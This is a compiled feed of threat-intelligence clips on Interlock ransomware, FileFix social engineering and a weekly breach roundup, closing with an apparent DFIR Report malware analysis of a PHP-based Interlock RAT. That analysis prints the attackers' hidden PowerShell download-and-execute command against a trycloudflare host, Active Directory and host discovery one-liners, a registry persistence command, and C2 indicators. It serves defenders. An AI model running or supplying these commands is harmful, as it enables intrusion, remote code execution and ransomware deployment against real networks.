spot in many security strategies: the browser as a vector for host compromise. These clipboard-based techniques use social engineering and abuse the user's interaction with seemingly legitimate, or even compromised, websites to deliver malicious code. Without visibility into browser activity or control over clipboard access, traditional defenses miss the early signs. But with browser-native insight and real-time clipboard protection, organizations can intercept these attacks at their source, before any code is executed on the host. At Keep Aware, we’ve seen firsthand how traditional security tools fall short when it comes to protecting the browser—the primary interface employees rely on and attackers exploit. That’s why we built our platform: to detect and block clipboard manipulation and other browser-based attacks before they can cause real harm. Interested in learning more? Feel free to request a demo here. Additionally, we’re proud to be named one of just four Black Hat USA 2025 Startup Spotlight Finalists for innovation, and we remain committed to redefining how organizations secure and manage the browser—the place where today’s work begins, and where today’s attacks often start. If you’ll be attending Black Hat USA 2025 next week, watch us take the stage to make our pitch, stop by the Keep Aware booth, or schedule time to chat with the team at the event. Sponsored and written by Keep Aware.
bleepingcomputer.comJul 31, 2025extracted
CISA and FBI warn of escalating Interlock ransomware attacks
CISA and the FBI warned on Tuesday of increased Interlock ransomware activity targeting businesses and critical infrastructure organizations in double extortion attacks. Today's advisory was jointly authored with the Department of Health and Human Services (HHS) and the Multi-State Information Sharing and Analysis Center (MS-ISAC) and it provides network defenders with indicators of compromise (IOCs) collected during investigations of incidents as recent as June 2025, along with mitigation measures to protect their networks against this ransomware gang's attacks. Interlock is a relatively new ransomware operation that emerged in September 2024 and has since targeted victims worldwide across various industry sectors, with a particular focus on the healthcare sector. The threat actors were also previously linked to ClickFix attacks, where they impersonate IT tools for initial network access, as well as malware attacks in which they deployed a remote access trojan called NodeSnake on the networks of U.K. universities. Recently, the cybercrime group claimed responsibility for breaching DaVita, a Fortune 500 company specializing in kidney care, resulting in the theft and leak of 1.5 terabytes of data from their systems, as well as for hacking Kettering Health, a healthcare giant that operates over 120 outpatient facilities and employs more than 15,000 people. While investigating their attacks, the FBI has observed the Interlock gang using some unusual tactics and pressuring their victims in double extortion attacks. "FBI observed actors obtaining initial access via drive-by download from compromised legitimate websites, which is an uncommon method among ransomware groups," the advisory reads. "Interlock actors employ a double extortion model in which actors encrypt systems after exfiltrating data, which increases pressure on victims to pay the ransom to both get their data decrypted and prevent it from being leaked." Earlier this month, the ransomware group was also observed adopting the new FileFix technique to drop remote access trojan (RAT) malware. FileFix is a social engineering attack in which the attackers weaponize trusted Windows UI elements, including the Windows File Explorer and HTML Applications (.HTA), to trick their targets into executing malicious PowerShell or JavaScript code without displaying any security warnings. To defend their networks against Interlock ransomware attacks, security teams are advised to implement Domain Name System (DNS) filtering, web access firewalls, and train users to recognize social engineering attempts. Defenders are also urged to keep systems, software, and firmware up to date and segment networks to limit access from compromised devices. Additionally, organizations need to establish identity, credential, and access management (ICAM) policies and require multifactor authentication (MFA) for all services when possible. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comJul 22, 2025extracted
21st July – Threat Intelligence Report
For the latest discoveries in cyber research for the week of 21st July, please download our Threat Intelligence Bulletin. TOP ATTACKS AND BREACHES Luxury retailer Louis Vuitton has suffered a cyber-attack that resulted in the exfiltration of certain personal data of customers from the UK, South Korea, Turkey, Italy, and Sweden after unauthorized access to its systems. No payment information was compromised, but sensitive client data was exposed, reportedly due to a breach of a third-party vendor’s database. The ShinyHunters extortion group is believed to be responsible for the attack. UK retail giant Co-op has officially disclosed by a cyber-attack that resulted in the theft of personal data belonging to all 6.5 million of its customers, following a massive breach in April that led to system shutdowns and food shortages in its stores. The attack exposed customers’ contact information but did not include financial or transaction data. The Scattered Spider threat group, known for deploying DragonForce ransomware, is suspected to be behind the attack. NovaBev Group, a major Russian spirits producer and distributor, has been a victim of a ransomware attack that resulted in temporary disruption of critical IT infrastructure. The attack has severely affected the operations of the group and its subsidiary, WineLab, disrupting services across more than 2,000 stores. The attack involved sophisticated techniques that bypassed existing security protocols. No threat actor has claimed responsibility yet. Thailand’s Ministry of Labor has experienced a cyber-attack that resulted in the defacement of its website and the alleged theft of 300GB of sensitive data. The impact includes the claimed encryption of 2,000 laptops and dozens of servers, as well as the potential exposure of citizen data, information on foreign visitors, and supposed classified documents. The Devman ransomware group, which has been linked to the DragonForce malware family, has claimed responsibility for the attack and is demanding a $15 million ransom. Singapore’s critical infrastructure was hit by a cyber-attack that resulted in targeted infiltration attempts against systems delivering essential services, with a focus on sectors such as defense, technology, and telecommunications. The impact includes ongoing attacks that could undermine national security and disrupt business operations and supply chains; however, there is no information regarding any specific data leak or number of affected users. The China affiliated espionage group UNC3886 has been identified as responsible for the attack. Gaskar Group, a major drone supplier to Russia’s military, has confirmed a cyber-attack that destroyed over 250 systems, wiping 57 terabytes of data and backups, and exposed employees’ personal details. Ukrainian hacktivists BO Team, Ukrainian Cyber Alliance, and Ukraine’s military intelligence claimed responsibility. VULNERABILITIES AND PATCHES Following Microsoft disclosure of a critical SharePoint 0-day vulnerability dubbed “ToolShell” (CVE-2025-53770, a variant of the authentication-bypass bug CVE-2025-49706), Check Point Research released an advisory with key findings on the vulnerability. Check Point Research identified the first signs of the exploitation on July 7th, and dozens of compromise attempts across government, telecommunications, and software sectors in North America and Western Europe. Check Point IPS provides protection against this threat (Microsoft SharePoint Server Insecure Deserialization (CVE-2025-53770), Microsoft SharePoint Server Authentication Bypass (CVE-2025-49706) A patch has been released for a high-severity Chrome vulnerability, CVE-2025-6558 (CVSS 8.8), which was actively exploited in the wild and allows remote attackers to escape the browser’s sandbox via insufficient input validation in the ANGLE and GPU components. This zero-day flaw affects Chrome versions prior to 138.0.7204.157 and enables arbitrary code execution in the GPU process through a specially crafted HTML page. VMware fixed four zero-day vulnerabilities (CVE-2025-41236 to CVE-2025-41239) in ESXi, Workstation, Fusion, and Tools exploited at Pwn2Own Berlin 2025. Three critical flaws (score 9.3) allow guest-to-host code execution, and one high-severity issue (7.1) impacts VMware Tools. THREAT INTELLIGENCE REPORTS Check Point Research reported a 21% year-over-year surge in global weekly cyber-attacks per organization in Q2 2025, reaching 1,984 attacks. Education is the most targeted sector, and Europe is seeing the highest regional growth at 22%. Around 1,600 ransomware incidents were disclosed, mainly affecting business services, manufacturing, and construction. North America and Europe accounted for 53% and 25% of ransomware cases, respectively. Check Point Research uncovered that FileFix, a social engineering method that opens File Explorer from a malicious site and copies a hidden PowerShell command to the clipboard, is actively tested by threat actors. Pasting it into the address bar executes malware without exploiting software flaws. Check Point Harmony Endpoint provides protection against this threat Researchers found that threat actors abuse Microsoft Teams calls to impersonate IT support and deliver Matanbuchus 3.0 via Quick Assist. A PowerShell script uses DLL side-loading to deploy the malware, which supports memory execution, obfuscation and data theft. Check Point Threat Emulation and Harmony Endpoint provide protection against this threat (Trojan-Downloader.Wins.Matanbuchus.ta.*; Trojan-Downloader.Win.Matanbuchus) European and US authorities disrupted the operations of NoName057(16), a pro-Russian hacktivist group known for large-scale DDoS attacks against Ukraine and its allies. Operation Eastwood dismantled over 100 servers and took down the group’s core infrastructure. Seven arrest warrants were issued, and over 1,000 suspected supporters were notified of potential legal consequences.
research.checkpoint.comJul 21, 2025extracted
KongTuke FileFix Leads to New Interlock RAT Variant
Researchers from The DFIR Report, in partnership with Proofpoint, have identified a new and resilient variant of the Interlock ransomware group’s remote access trojan (RAT). This new malware, a shift from the previously identified JavaScript-based Interlock RAT (aka NodeSnake), uses PHP and is being used in a widespread campaign. Since May 2025, activity related to the Interlock RAT has been observed in connection with the LandUpdate808 (aka KongTuke) web-inject threat clusters. The campaign begins with compromised websites injected with a single-line script hidden in the page’s HTML, often unbeknownst to site owners or visitors. The linked JavaScript employs heavy IP filtering to serve the payload, which first prompts the user to click a captcha to “Verify you are human” followed by “Verification steps” to open a run command and paste in from the clipboard. If pasted into the run command it will execute a PowerShell script which eventually leads to Interlock RAT. Proofpoint researchers have observed both Interlock RAT Node.js and Interlock RAT PHP based variants. The Interlock RAT PHP based variant was first spotted in June 2025 campaigns. The DFIR Report researchers have recently seen this same KongTuke web-inject transitioning to a FileFix variant. This updated delivery mechanism has been observed deploying the PHP variant of the Interlock RAT, which in certain cases has then led to the deployment of the Node.js variant of the Interlock RAT. We’ll be discussing the PHP variant throughout the remainder of the report. Noteworthy Tradecraft & Techniques: Execution: We observed the initial execution of the Interlock RAT using the below command. This command reflects PowerShell spawning PHP with suspicious arguments, particularly the loading of the config file from a non-standard location. The PHP executable located in the user’s AppData\Roaming directory is invoked with directives to enable the ZIP extension, and a config (.cfg) file is passed as input. We created a PowerShell and Python script to parse the config which can be found here. "powershell.exe" -ep Bypass -w H -c "schtasks /delete /tn Updater /f; $w=New-Object System.Net.WebClient ; $w.Headers.Add(\"User-Agent\", \"PowerShell\") ; $w.DownloadString(\"http://deadly-programming-attorneys-our.trycloudflare.com\") | iex" └── "C:\Users\REDACTED\AppData\Roaming\php\php.exe" -d extension=zip -d extension_dir=ext C:\Users\\AppData\Roaming\php\wefs.cfg 1 Automated Discovery: Upon execution, the Interlock RAT immediately performs automated reconnaissance of the compromised system. It uses a series of PowerShell commands to gather and exfiltrate a comprehensive system profile as JSON data. The collected information includes detailed system specifications (systeminfo), a list of all running processes and associated services (tasklist), running Windows services (Get-Service), all mounted drives (Get-PSDrive), and the local network neighborhood via the ARP table (Get-NetNeighbor). The malware also checks its own privilege level to determine if it is running as USER, ADMIN, or SYSTEM, allowing the threat actor to instantly understand the context of the compromise. "C:\Users\REDACTED\AppData\Roaming\php\php.exe" -d extension=zip -d extension_dir=ext C:\Users\\AppData\Roaming\php\wefs.cfg 1 └── cmd.exe /s /c "powershell -c Get-NetNeighbor -AddressFamily IPv4 | Where-Object { $_.State -ne 'Permanent' } | Select-Object @{Name='Interface'; Expression={$_.InterfaceAlias}}, @{Name='Internet Address'; Expression={$_.IPAddress}}, @{Name='Physical Address'; Expression={$_.LinkLayerAddress}}, @{Name='Type'; Expression={'dynamic'}} | ConvertTo-Json" └── cmd.exe /s /c "powershell -c "systeminfo /FO CSV | ConvertFrom-Csv | ConvertTo-Json"" └── cmd.exe /s /c "powershell -c "if ([Security.Principal.WindowsIdentity]::GetCurrent().Name -match '(?i)SYSTEM') { 'SYSTEM' } elseif (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { 'ADMIN' } else { 'USER' } "" └── cmd.exe /s /c "powershell -c "tasklist /svc /FO CSV | ConvertFrom-Csv | ConvertTo-Json"" └── cmd.exe /s /c "powershell -c "Get-Service | Select-Object -Property Name, DisplayName | ConvertTo-Json"" └── cmd.exe /s /c "powershell -c "Get-PSDrive -PSProvider FileSystem | ConvertTo-Json"" Hands on Keyboard Discovery: The execution chain shows strong evidence of an interactive session. Some of the notable discovery commands we observed from the Interlock RAT includes the following: "C:\Users\REDACTED\AppData\Roaming\php\php.exe" -d extension=zip -d extension_dir=ext C:\Users\\AppData\Roaming\php\wefs.cfg 1 └── cmd.exe /s /c "powershell -WindowStyle Hidden -Command "echo AD_Computers: ([adsiSearcher]\"(ObjectClass=computer)\").FindAll().count"" └── cmd.exe /s /c "powershell -Command "$searcher = [adsisearcher]'(&(objectCategory=user)(description=*))'; $searcher.PropertiesToLoad.Add('samaccountname'); $searcher.PropertiesToLoad.Add('description'); $results = $searcher.FindAll(); foreach ($result in $results) { $result.Properties['samaccountname'][0] + ' - ' + $result.Properties['description'][0] }"" └── cmd.exe /s /c "net user %%USERNAME%% /domain" └── cmd.exe /s /c "powershell -Command "$searcher = New-Object DirectoryServices.DirectorySearcher '(&(objectCategory=computer))'; $searcher.PropertiesToLoad.Add('name') | Out-Null; $searcher.PropertiesToLoad.Add('description') | Out-Null; $results = $searcher.FindAll(); foreach ($result in $results) { $computerName = $result.Properties['name'][0]; if ($computerName -match '(?i)VB|VBR|VEEA|VEEAM|BCK|BACK') { $desc = $result.Properties['description']; if ($desc -and $desc[0]) { Write-Output \"${computerName} - $($desc[0])\" } else { Write-Output \"$computerName\" } } }"" └── cmd.exe /s /c "tasklist" └── cmd.exe /s /c "nltest /dclist:" └── cmd.exe /s /c "whoami" └── cmd.exe /s /c "dir %%appdata%%" Command and Control: The Interlock RAT establishes a robust command and control (C2) channel with the attackers’ infrastructure. Notably, it leverages trycloudflare.com URLs, abusing the legitimate Cloudflare Tunnel service to mask the true location of the C2 server. To enhance resilience, the malware also contains hardcoded fallback IP addresses, ensuring communication can be maintained even if the Cloudflare Tunnel is disrupted. Command and Control Execution Capabilities: Based on the command code received, the script takes one of several actions: EXE Command: It downloads a Windows executable file (.exe), saves it to a temporary folder, and runs it. DLL Command: It downloads a dynamic-link library (.dll) and executes it using the Windows tool rundll32.exe. AUTORUN Command: It sets itself up for persistence. The script adds an entry to the Windows Registry's "Run" key. CMD Command: It executes any shell command the attacker sends, giving them a remote command prompt on the victim's machine. OFF Command: It shuts itself down. Persistence: After the Interlock RAT was executed, it created a run key with various values: reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "REDACTED" /t REG_SZ /d ""C:\Users\REDACTED\AppData\Roaming\php\php.exe" "C:\Users\REDACTED\AppData\Roaming\php\wefs.cfg"" /f Lateral Movement: RDP was used to move throughout victim environments. Targeting: The campaign appears to be opportunistic, targeting a broad range of industries. This discovery highlights the continued evolution of the Interlock group’s tooling and their operational sophistication. While the Node.js variant of Interlock RAT was known for its use of Node.js, this variant leverages PHP, a common web scripting language, to gain and maintain access to victim networks. We’re continuing to monitor this threat actor closely. Additional insights from our investigation will be shared soon. Make sure to follow us on social media to stay informed as we publish further activity. We’d like to thank our friends at Proofpoint for working together on this report! Existing All Intel customers can access additional information, Sigma and YARA rules and IOCs here. Not a Customer Yet? We’d love to connect and discuss how our services can support and strengthen your organization’s security posture. Whether you’re interested in Sigma or YARA rules, or gaining access to our exclusive private reports, our team is here to help. 📩 Reach out to us today to explore how we can work together. IOCs Configs Name: config.cfg | File Size: 27392 Byte(s) SHA256: 28a9982cf2b4fc53a1545b6ed0d0c1788ca9369a847750f5652ffa0ca7f7b7d3 Name: config.cfg | File Size: 28268 Byte(s) SHA256: 8afd6c0636c5d70ac0622396268786190a428635e9cf28ab23add939377727b0 Interlock RAT PHP Variant domains and fallback IPs existed-bunch-balance-councils[.]trycloudflare[.]com ferrari-rolling-facilities-lounge[.]trycloudflare[.]com galleries-physicians-psp-wv[.]trycloudflare[.]com evidence-deleted-procedure-bringing[.]trycloudflare[.]com nowhere-locked-manor-hs[.]trycloudflare[.]com ranked-accordingly-ab-hired[.]trycloudflare[.]com 64[.]95[.]12[.]71 184[.]95[.]51[.]165
thedfirreport.comJul 14, 2025extracted